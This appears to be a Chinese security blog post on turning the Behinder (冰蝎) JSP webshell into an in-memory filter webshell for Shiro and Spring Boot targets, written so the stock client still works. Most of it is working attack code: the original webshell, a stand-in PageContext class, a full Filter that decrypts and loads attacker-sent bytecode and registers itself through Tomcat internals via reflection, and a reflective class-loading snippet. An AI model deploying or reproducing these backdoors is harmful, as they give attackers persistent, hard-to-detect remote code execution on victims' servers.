冰蝎改造之不改动客户端=>内存马

原创 PassFoam 零队

前言

做了login me again之后，觉得很有趣，复现完之后开始想着怎么玩点骚的，在我们日常使用中，与其要做一个reGeorge（reGeorge mac内网不解析dns太坑了），实际上大马可能才是正在的需求，而开源工具中还是冰蝎大家最爱用，虽然现在被各种流量检测，但是各家都有自己的免杀手段，所以这里就简单的教大家如何把东西注入shiro+spring环境中（这个环境比较有代表性

原始的马

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %><%!    class U extends ClassLoader {        U(ClassLoader c) {            super(c);        }
        public Class g(byte[] b) {            return super.defineClass(b, 0, b.length);        }    }%><%    if (request.getParameter("pass") != null) {        String k = ("" + UUID.randomUUID()).replace("-", "").substring(16);        session.putValue("u", k);        out.print(k);        return;    }    Cipher c = Cipher.getInstance("AES");    c.init(2, new SecretKeySpec((session.getValue("u") + "").getBytes(), "AES"));    new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

代码美化之后不难发现，里面使用了Tomact中的PageContext,位于javax.servlet.jsp.PageContext,但是在Springboot中实现的是只有tomcat核心，也就是阉割版本的tomacat，恰好这个是没有的，因此这么获取成了关键

PS: 关于没有PageContext的解决方案，之前已经有了一篇文章https://mp.weixin.qq.com/s/n1wrjep4FVtBkOxLouAYfQ ，最大的问题是要修改客户端，对我们这样的菜鸡来说很难，而且还让自己的工具包变臃肿，本次不再改变客户端的情况，完成内存马的注入

改造开始

下面基于读者已经理解了，如何写入reGeorge内存马为基础，如有疑问，请去查看 https://mp.weixin.qq.com/s/whOYVsI-AkvUJTeeDWL5dA 以及login me again wp

首先先了解冰蝎的执行思路

密钥交换pass，pass存储在session中

AES解码后将传入的数据进行解码，解码后还原要加载的字节码，实例化后，调用equals函数，传入pageContext，通过pageContext带出回显

String result = buildJson(entity, true);      String key = page.getSession().getAttribute("u").toString();      ServletOutputStream so = page.getResponse().getOutputStream();      so.write(Encrypt(result.getBytes(), key));      so.flush();      so.close();

于是乎我们对PageContxt的要求也就出来了

classname ： javax.servlet.jsp.PageContext
实现 setResponse() getResponse() getSession() setRequest() getResponse()
这里的response就需要调用当前环境中的response，所以就拿最简单的ServeletRequest,好消息是getSession这个函数也是自带的，就很舒服，只需要cast一下即可。

最后的PageContext

public class PageContext  {    ServletRequest request;    ServletResponse response;

    public Writer getOut(){        return null;    }
    public PageContext(ServletRequest request, ServletResponse response) {        this.request = request;        this.response = response;    }
    public PageContext(){
    }
    public void setRequest(ServletRequest request) {        this.request = request;    }
    public void setResponse(ServletResponse response){        this.response = response;    }
    public HttpSession getSession() {        HttpServletRequest test = (HttpServletRequest) this.request;        return test.getSession();    }

    public ServletRequest getRequest() {        return  this.request;    }

    public ServletResponse getResponse() {        return this.response;    }
}

我们可以尝试注入一下，这里我起了一个简单的shiro+springboot的环境

Ps:从github上直接找的环境，可能因为原生不带有commom-collection的包，所以无法打成功

这时候我们在VM中查看一下
image-20200723215635157

发现我们成功注入了一个class，然后我天真的以为只需要像reGeorge一样，把代码复制进去即可

所以有了初始版本的Filter内存冰蝎

踩坑继续

package reGeorg;
import javax.servlet.*;import java.io.IOException;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import javax.el.ELContext;import javax.servlet.http.*;import javax.servlet.jsp.JspWriter;import javax.servlet.jsp.PageContext;import javax.servlet.jsp.el.ExpressionEvaluator;import javax.servlet.jsp.el.VariableResolver;import java.util.Enumeration;import java.util.UUID;
public class MemBehinder implements javax.servlet.Filter{    @Override    public void init(FilterConfig filterConfig) throws ServletException {
    }


    @Override    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {        class User extends ClassLoader {            User(ClassLoader c) {                super(c);            }
            public Class getUsername(byte[] b) {                return super.defineClass(b, 0, b.length);            }        }

        HttpServletRequest request = (HttpServletRequest) servletRequest;        HttpServletResponse response = (HttpServletResponse) servletResponse;        HttpSession session = request.getSession();        response.setHeader("flora", "florasa!!!");        if (request.getParameter("pass") != null) {            String k = ("" + UUID.randomUUID()).replace("-", "").substring(16);            session.putValue("u", k);            response.getWriter().print(k);            return;        }        try{            PageContext pageContext = new PageContext(servletRequest,servletResponse);            Cipher c = Cipher.getInstance("AES");            SecretKeySpec sec = new SecretKeySpec((session.getValue("u") + "").getBytes(), "AES");            c.init(2, sec);            String uploadString = request.getReader().readLine();            ClassLoader loader = this.getClass().getClassLoader();            User user = new User(loader);            byte[] username = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(uploadString));            Class username1 = user.getUsername(username);            username1.newInstance().equals(pageContext);        }catch (Exception ignored){            ;        }        filterChain.doFilter(request, response);
    }
    @Override    public void destroy() {
    }    public boolean equals(Object obj) {        Object[] context = (Object[]) obj;        javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest) context[0];        org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response) context[1];        javax.servlet.http.HttpSession session = (javax.servlet.http.HttpSession) context[2];
        try {            dynamicAddFilter(new MemBehinder(), "Behinder", "/*", request);        } catch (IllegalAccessException e) {            e.printStackTrace();        }
        return true;    }
    public static void dynamicAddFilter(javax.servlet.Filter filter, String name, String url, javax.servlet.http.HttpServletRequest request) throws IllegalAccessException {        javax.servlet.ServletContext servletContext = request.getServletContext();        if (servletContext.getFilterRegistration(name) == null) {            java.lang.reflect.Field contextField = null;            org.apache.catalina.core.ApplicationContext applicationContext = null;            org.apache.catalina.core.StandardContext standardContext = null;            java.lang.reflect.Field stateField = null;            javax.servlet.FilterRegistration.Dynamic filterRegistration = null;
            try {                contextField = servletContext.getClass().getDeclaredField("context");                contextField.setAccessible(true);                applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);                contextField = applicationContext.getClass().getDeclaredField("context");                contextField.setAccessible(true);                standardContext = (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);                stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");                stateField.setAccessible(true);                stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);                filterRegistration = servletContext.addFilter(name, filter);                filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{url});                java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");                filterStartMethod.setAccessible(true);                filterStartMethod.invoke(standardContext, null);                stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);            } catch (Exception e) {                ;            } finally {                stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);            }        }    }}

报错汇总如下：

1. 无法new一个新的PageContext
2. 无法调用class U中的方法

这时候回忆一下我们的流程：

1. 注入PageContext并实例化
2. 注入冰蝎并实例化

但是我们要思考new是一个怎么样的过程

1.首先去JVM 的方法区中区寻找类的class对象，如果能找到，则按照定义生成对象，找不到则转2
2.加载类定义：类加载器（classLoader）寻找该类的 .class文件，找到后对文件进行分析转换为class对象存入方法区方便以后调用。
    其中jdk 的class一般是在jvm启动时用启动类加载器完成加载，用户的class则是在用到的时候再加载。
    Java中ClassLoader的加载采用了双亲委托机制，采用双亲委托机制加载类的时候采用如下的几个步骤：1.  当前ClassLoader首先从自己已经加载的类中查询是否此类已经加载，如果已经加载则直接返回原来已经加载的类。每个类加载器都有自己的加载缓存，当一个类被加载了以后就会放入缓存，等下次加载的时候就可以直接返回了。2.  当前classLoader的缓存中没有找到被加载的类的时候，委托父类加载器去加载，父类加载器采用同样的策略，首先查看自己的缓存，然后委托父类的父类去加载，一直到bootstrp ClassLoader.3.  当所有的父类加载器都没有加载的时候，再由当前的类加载器加载，并将其放入它自己的缓存中，以便下次有加载请求的时候直接返回。
PS：方法区：在一个jvm实例的内部，类型信息被存储在一个称为方法区的内存逻辑区中。类型信息是由类加载器在类加载时从类文件中提取出来的。类(静态)变量也存储在方法区中
于是即使有了实例化的class，也不能使其在方法区有一席之地，但是他有没有文件，所以就无法被ClassLoader加载，也就导致了上述的问题

解决方案

自定义的类加载器：
因为我们不能实例化自己的类加载器，所以我们就使用反射的方法，调用ClassLoard，不过这里也有一个坑点，就是抽象类，是不可以作为invoke()的第一个参数，所以要使用一个他的继承类作为替代品


	Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod(    	            "defineClass",    	            byte[].class,    	            int.class, int.class);    	    method.setAccessible(true);    byte[] evilclass_byte = c.doFinal(evil_bytes);            Class evilclass = (Class) method.invoke(xxxxx.getClassLoader(),                    evilclass_byte,0,                    evilclass_byte.length);

2.PageContext：由于我们只有一个实例化的class，我的方案就是服用他，将他作为一个属性，注入到冰蝎马的实例过程中，即设置一个含参的构造方法

public MemBehinder2(PageContext pageContext){       this.pageContext = pageContext;    		}

最后实现成果

出现密钥交互

连接成果

总结

冰蝎出现密钥交互，并不代表成功了，原因在于密钥交互的回显用的并不是PageContext，不能作为我们注入成功的依据
学会研究报错，报错会告诉我们哪里出了问题
FB师傅tql

继续滑动看下一个